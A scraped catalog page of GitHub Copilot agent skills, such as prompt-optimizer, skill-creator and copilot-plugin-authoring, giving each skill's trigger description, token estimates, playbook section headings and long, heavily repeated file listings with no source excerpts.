content.py../../../../../github-copilot/scripts/audit_primitive_redundancy.py../../../../../github-copilot/scripts/audit_primitive_redundancy.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/normalize_plugin_manifests.py../../../../../github-copilot/scripts/normalize_plugin_manifests.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_plugin_components.py../../../../../github-copilot/scripts/sync_plugin_components.py../../../../../github-copilot/scripts/sync_plugin_components.py../../../../../github-copilot/scripts/sync_plugin_components.py../../../../../github-copilot/scripts/validate_primitives.py../../../../../github-copilot/scripts/validate_primitives.py../../../../../github-copilot/scripts/validate_primitives.py../../../../../github-copilot/scripts/validate_primitives.py../../../../../github-copilot/scripts/validate_primitives.py../../../../../github-copilot/scripts/validate_primitives.py
Files
../../../../../README.mddoc453 bytesSKILL.mdcore12,313 bytesSKILL.mdcore12,313 bytesSKILL.mdcore12,313 bytesSKILL.mdcore12,313 bytesSKILL.mdcore12,313 bytesSKILL.mdcore12,313 bytesSKILL.mdcore12,313 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_redundancy.pyruns18,434 bytes../../../../../github-copilot/scripts/audit_primitive_redundancy.pyruns18,434 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/normalize_plugin_manifests.pyruns7,978 bytes../../../../../github-copilot/scripts/normalize_plugin_manifests.pyruns7,978 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_plugin_components.pyruns9,059 bytes../../../../../github-copilot/scripts/sync_plugin_components.pyruns9,059 bytes../../../../../github-copilot/scripts/sync_plugin_components.pyruns9,059 bytes../../../../../github-copilot/scripts/sync_plugin_components.pyruns9,059 bytes../../../../../github-copilot/scripts/validate_primitives.pyruns70,144 bytes../../../../../github-copilot/scripts/validate_primitives.pyruns70,144 bytes../../../../../github-copilot/scripts/validate_primitives.pyruns70,144 bytes../../../../../github-copilot/scripts/validate_primitives.pyruns70,144 bytes../../../../../github-copilot/scripts/validate_primitives.pyruns70,144 bytes../../../../../github-copilot/scripts/validate_primitives.pyruns70,144 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcopilot-spaces
When your agent uses it
Use GitHub Copilot Spaces to provide project-specific context to conversations. Use this skill when users mention a "GitHub Copilot space", want to load context from a shared knowledge base, discover available spaces, or ask questions grounded in curated project documentation, code, and instructions.
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
2,439 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Available Tools
- Invocation details
- Workflow
- Examples
- Tips
- Output template
- Quality gate
Files
SKILL.mdcore10,333 bytesSKILL.mdcore10,333 bytesSKILL.mdcore10,333 bytesSKILL.mdcore10,333 bytesSKILL.mdcore10,333 bytesSKILL.mdcore10,333 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcopilot-usage-metrics
When your agent uses it
Retrieve and display GitHub Copilot usage metrics for organizations and enterprises using the GitHub CLI, REST API, and bundled scripts. Use when the user asks about Copilot usage, adoption, active users, acceptance rates, suggestions, chat interactions, per-user breakdowns, organization metrics, enterprise metrics, or usage on a specific date.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
1,214 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Request classification
- Metrics to summarize
- Procedure
- Available scripts
- Troubleshooting
- Output template
- Quality gate
Scripts executed separately
get-enterprise-metrics.shget-enterprise-user-metrics.shget-org-metrics.shget-org-user-metrics.sh
Files
SKILL.mdcore5,444 bytesget-enterprise-metrics.shruns678 bytesget-enterprise-user-metrics.shruns698 bytesget-org-metrics.shruns607 bytesget-org-user-metrics.shruns627 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfinalize-agent-prompt
When your agent uses it
Polish an AI agent prompt file for end-user use by preserving frontmatter, encoding, markdown structure, and intent while improving clarity, organization, grammar, and instruction quality. Use when the user asks to finalize, refine, or review an agent prompt from the current role before delivery.
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
897 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Refinement criteria
- Procedure
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore4,276 bytesSKILL.mdcore4,276 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgenerate-custom-instructions-from-codebase
When your agent uses it
Generate GitHub Copilot migration and code-evolution instructions by comparing branches, commits, tags, or releases and extracting transformation rules. Use when the user is doing framework upgrades, architecture refactors, technology migrations, dependency updates, pattern changes, API changes, obsolete pattern avoidance, and preserving project conventions during future code modifications.
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
2,324 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Configuration model
- Procedure
- Migration analysis focus
- Instruction sections
- Generated file template
- Transformation example format
- Typical use cases
- Criteria
- Migration placeholders
- Output template
- Quality gate
Files
SKILL.mdcore10,275 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgithub-copilot-starter
When your agent uses it
Bootstrap a complete GitHub Copilot customization for a repository, including .github/copilot-instructions.md, scoped instruction files, reusable skills, custom agents, and optional copilot-setup-steps.yml. Use this skill when the user asks to set up GitHub Copilot for a new project, create Copilot instructions/skills/agents, adapt awesome-copilot examples, or configure Coding Agent setup steps for a technology stack.
What it loads into context
Frontmatter
109 tokensAlways available to the agent
SKILL.md
3,321 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Procedure
- File set to create
- Repository instruction content
- Scoped instruction files
- Skills and agents
- Coding Agent workflow
- Gotchas
- Technical index
- Output template
- Quality gate
- References
Files
SKILL.mdcore14,465 bytesSKILL.mdcore14,465 bytesSKILL.mdcore14,465 bytesSKILL.mdcore14,465 bytesSKILL.mdcore14,465 bytesSKILL.mdcore14,465 bytesSKILL.mdcore14,465 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubharness-engineering
When your agent uses it
Adopt or review repository-level harness engineering for GitHub Copilot and coding agents. Use when users want durable agent instructions, guardrails, regression checks, drift checks, failure memory, or adoption reports that prevent repeated AI coding-agent mistakes in a target repository.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
1,552 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Harness model
- Discovery evidence
- Adoption workflow
- Enforceable checks and failure memory
- Drift checks and review criteria
- Limits
- Optional external reference use
- Output template
- Quality gate
- References
Files
SKILL.mdcore7,508 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHublsp-setup
When your agent uses it
Install and configure Language Server Protocol servers for GitHub Copilot CLI code intelligence, including go-to-definition, find-references, hover, and type information. Use when the user asks to set up LSP, install a language server, configure Java or TypeScript LSP, fix /lsp status, or enable deeper code understanding in Copilot CLI.
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
1,653 tokensWhen the skill is activated
Reference documents
2,165 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Scope exclusions
- Configuration locations
- Configuration format
- Server selection and fallback
- Gotchas
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Files
SKILL.mdcore6,938 bytesreferences/lsp-servers.mddoc8,659 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmemory-merger
When your agent uses it
Merge mature lessons from a domain memory instruction file into the matching long-lived instruction file while preserving applyTo coverage and removing merged memory sections. Use when the user invokes /memory-merger, asks to merge domain memories, consolidate instruction memories, or move workspace/user memory into instructions.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
1,511 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Scope mapping
- Procedure
- Proposal format
- Merge quality bar
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore6,740 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmicrosoft-skill-creator
When your agent uses it
Create hybrid GitHub Copilot skills for Microsoft technologies using Microsoft Learn MCP tools or the mslearn CLI. Use this skill when the user asks to create a skill for Azure, .NET, Microsoft 365, VS Code, Bicep, Semantic Kernel, a Microsoft SDK, an Azure service, a framework, or a Microsoft REST API.
What it loads into context
Frontmatter
128 tokensAlways available to the agent
SKILL.md
1,985 tokensWhen the skill is activated
Reference documents
1,953 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Learn research tools
- Procedure
- Template selection
- Local versus dynamic content
- Investigation query patterns
- Package shape
- Progressive disclosure and bundled resources
- Compatibility terminology
- Output template
- Quality gate
- References
Files
SKILL.mdcore8,792 bytesSKILL.mdcore8,792 bytesreferences/skill-templates.mddoc7,890 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmini-context-graph
When your agent uses it
A persistent, compounding knowledge base combining Karpathy's LLM Wiki pattern with a structured knowledge graph. Ingest documents once — the LLM writes wiki pages, extracts entities/relations into the graph, and stores raw content for evidence retrieval. Knowledge accumulates and cross-references; it is never re-derived from scratch. Use this skill when |--------|---------|-------------|; | `skill.ingest_with_content(doc_id, title, source, raw_content, entities, relations)` | Full RAG ingest: raw docs + graph + provenance |; | `skill.add_node(name, node_type)` | Add single entity (no provenance) | Quick additions without a source doc |.
What it loads into context
Frontmatter
163 tokensAlways available to the agent
SKILL.md
2,343 tokensWhen the skill is activated
Reference documents
4,122 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- The Core Idea
- Three Layers
- Quick Start for Agents
- Operations
- Ingestion Constraints
- Retrieval Constraints
- Full Python API Reference
- Design Philosophy
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Scripts executed separately
scripts/config.pyscripts/contextgraph.pyscripts/template_agent_workflow.pyscripts/tools/__init__.pyscripts/tools/documents_store.pyscripts/tools/graph_store.pyscripts/tools/index_store.pyscripts/tools/ontology_store.pyscripts/tools/retrieval_engine.pyscripts/tools/wiki_store.py
Files
SKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesSKILL.mdcore10,162 bytesreferences/ingestion.mddoc5,161 bytesreferences/lint.mddoc4,235 bytesreferences/ontology.mddoc3,238 bytesreferences/retrieval.mddoc4,399 bytesscripts/config.pyruns893 bytesscripts/contextgraph.pyruns11,794 bytesscripts/template_agent_workflow.pyruns6,708 bytesscripts/tools/__init__.pyruns0 bytesscripts/tools/documents_store.pyruns5,849 bytesscripts/tools/graph_store.pyruns6,163 bytesscripts/tools/index_store.pyruns2,821 bytesscripts/tools/ontology_store.pyruns4,953 bytesscripts/tools/retrieval_engine.pyruns1,601 bytesscripts/tools/wiki_store.pyruns9,635 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubprompt-optimizer
When your agent uses it
Turn any rough prompt, half-formed idea, or task description into a finished, ready-to-send prompt optimized for any LLM model inside a chat interface — NOT the API. Use this skill whenever the user wants to write, rewrite, optimize, improve, sharpen, or polish a prompt for chat. Trigger phrases include "rewrite this prompt", "make this a better prompt", "optimize this prompt", "turn this into a prompt", "help me prompt this", "draft a prompt that...", "I want to ask...", or whenever the user pastes a draft prompt and asks for improvements. Also trigger when the user describes a task they plan to send to an LLM model and clearly wants a reusable, well-structured prompt rather than a direct answer. The output is always a single, copy-pasteable prompt in a code block that the user sends as-is — never a template with placeholders.
What it loads into context
Frontmatter
210 tokensAlways available to the agent
SKILL.md
4,681 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Chat prompt constraints
- Prompt completion rules
- Output rules
- Why these principles work
- The rewrite workflow
- Core principles to apply
- Domain-specific moves
- Examples
- Edge cases
- Output template
- Quality gate
Files
SKILL.mdcore21,363 bytesSKILL.mdcore21,363 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubremember
When your agent uses it
Transform lessons learned into domain-organized memory instructions for global or workspace scope. Use this skill when the user says /remember, asks to save a workflow lesson, records repeated mistakes, documents shortcuts or commands, discovers effective workflows, or wants durable VS Code memory instructions.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
1,564 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Scope and storage
- Memory file structure
- Procedure
- Writing guidelines
- Update triggers
- Gotchas
- Legacy syntax compatibility
- Output template
- Quality gate
Files
SKILL.mdcore7,459 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubskill-creator
When your agent uses it
Create, audit, repair, and improve GitHub Copilot Agent Skills for VS Code, GitHub Copilot CLI, and GitHub Copilot cloud agent. Use when a user asks to create a skill, generate a SKILL.md, convert a workflow into a reusable skill, audit an existing skill, fix skill loading issues, optimize a skill description, validate frontmatter, or add references/scripts/assets to a skill package.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
1,845 tokensWhen the skill is activated
Reference documents
1,098 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Required skill package
- Procedure
- Resource placement
- Validation commands
- Quality checklist
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
Scripts executed separately
eval-viewer/generate_review.pyscripts/test_validate_skill.pyscripts/validate_skill.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_redundancy.py../../../../../github-copilot/scripts/audit_primitive_redundancy.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py
Files
../../../../../README.mddoc453 bytesSKILL.mdcore8,289 bytesSKILL.mdcore8,289 bytesSKILL.mdcore8,289 bytesassets/eval_review.htmlasset5,152 byteseval-viewer/generate_review.pyruns10,228 bytesreferences/schemas.mddoc3,465 bytesscripts/test_validate_skill.pyruns3,593 bytesscripts/validate_skill.pyruns11,953 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_redundancy.pyruns18,434 bytes../../../../../github-copilot/scripts/audit_primitive_redundancy.pyruns18,434 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsteno-mode
When your agent uses it
Compress responses with disciplined expert shorthand while preserving exact technical literals, code, commands, paths, identifiers, versions, flags, and quoted errors. Use when the user says steno mode, shorthand mode, compressed responses, token reduction, brief structured output, or /steno with levels lite, brief, court, or machine.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,503 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Persistence contract
- Compression priorities
- Literal preservation rules
- Shorthand vocabulary
- Compression levels
- Examples
- Limits
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore6,428 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvardoger-analyze
When your agent uses it
Run the local vardoger CLI to analyze GitHub Copilot CLI conversation history and write personalized instructions into ~/.copilot/copilot-instructions.md. Use this skill when the user asks to personalize my copilot, analyze my copilot history, tailor Copilot to me, run vardoger, update my Copilot instructions from history, or make Copilot learn my style.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
1,645 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Sandbox and permission rule
- Procedure
- Personalization content rules
- Troubleshooting
- Command forms
- Output template
- Quality gate
- References
Files
SKILL.mdcore7,153 bytesSKILL.mdcore7,153 bytesSKILL.mdcore7,153 bytesSKILL.mdcore7,153 bytesSKILL.mdcore7,153 bytesSKILL.mdcore7,153 bytesSKILL.mdcore7,153 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcopilot-plugin-authoring
When your agent uses it
Create, migrate, audit, and validate flat GitHub Copilot plugins and marketplaces with direct agents, skills, hooks, extensions, MCP configuration, canonical source ownership, and isolated runtime tests. Use when adding a plugin, repairing a manifest, packaging existing primitives, or refreshing marketplace governance.
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
1,948 tokensWhen the skill is activated
Reference documents
107 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Source and layout decisions
- Procedure
- Required checks
- Runtime acceptance
- Safety and quality
- Troubleshooting
- Limits
- Output template
- Quality gate
Scripts executed separately
../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_plugins.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_capabilities.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_content.py../../../../../github-copilot/scripts/audit_primitive_redundancy.py../../../../../github-copilot/scripts/audit_primitive_redundancy.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/generate_catalog.py../../../../../github-copilot/scripts/normalize_plugin_manifests.py../../../../../github-copilot/scripts/normalize_plugin_manifests.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_installed_primitives.py../../../../../github-copilot/scripts/sync_plugin_components.py../../../../../github-copilot/scripts/sync_plugin_components.py../../../../../github-copilot/scripts/sync_plugin_components.py../../../../../github-copilot/scripts/sync_plugin_components.py
Files
../../../../../README.mddoc453 bytesSKILL.mdcore9,019 bytesSKILL.mdcore9,019 bytesSKILL.mdcore9,019 bytesSKILL.mdcore9,019 bytesSKILL.mdcore9,019 bytesSKILL.mdcore9,019 bytesSKILL.mdcore9,019 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_plugins.pyruns20,062 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_capabilities.pyruns18,609 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_content.pyruns28,798 bytes../../../../../github-copilot/scripts/audit_primitive_redundancy.pyruns18,434 bytes../../../../../github-copilot/scripts/audit_primitive_redundancy.pyruns18,434 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../../../github-copilot/scripts/normalize_plugin_manifests.pyruns7,978 bytes../../../../../github-copilot/scripts/normalize_plugin_manifests.pyruns7,978 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 